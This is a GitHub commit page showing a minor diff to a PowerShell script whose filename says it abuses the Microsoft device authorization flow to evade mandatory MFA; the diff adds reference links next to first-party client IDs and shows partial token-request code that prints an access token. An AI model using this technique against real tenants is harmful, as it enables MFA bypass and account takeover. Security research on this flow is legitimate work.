Skip to content

Commit aee6f70

Browse files
authored
Refactor device authorization script for clarity
1 parent 029452f commit aee6f70

File tree

1 file changed

+4
-3
lines changed

1 file changed

+4
-3
lines changed

generic/abuse_Device_Authorization_flow_to_evade_mandatory_MFA.ps1

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
1-
#1) generate a device code.
2-
#$ClientID = "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223" # Intune
3-
$ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c" # Office
1+
#1) generate a device code. https://raw.githubusercontent.com/merill/microsoft-info/main/_info/MicrosoftApps.csv
2+
#$ClientID = "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223" # Intune https://entrascopes.com/?appId=9ba1a5c7-f17a-4de9-a1f1-6178c8d51223
3+
$ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c" # Office https://entrascopes.com/?appId=d3590ed6-52b3-4102-aeff-aad2292ab01c
44
$Scope = ".default offline_access"
55
$body = @{
66
"client_id" = $ClientID
@@ -37,3 +37,4 @@ $Token_output = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://lo
3737
$token = $Token_output.access_token
3838
$token
3939

40+

0 commit comments

Comments
 (0)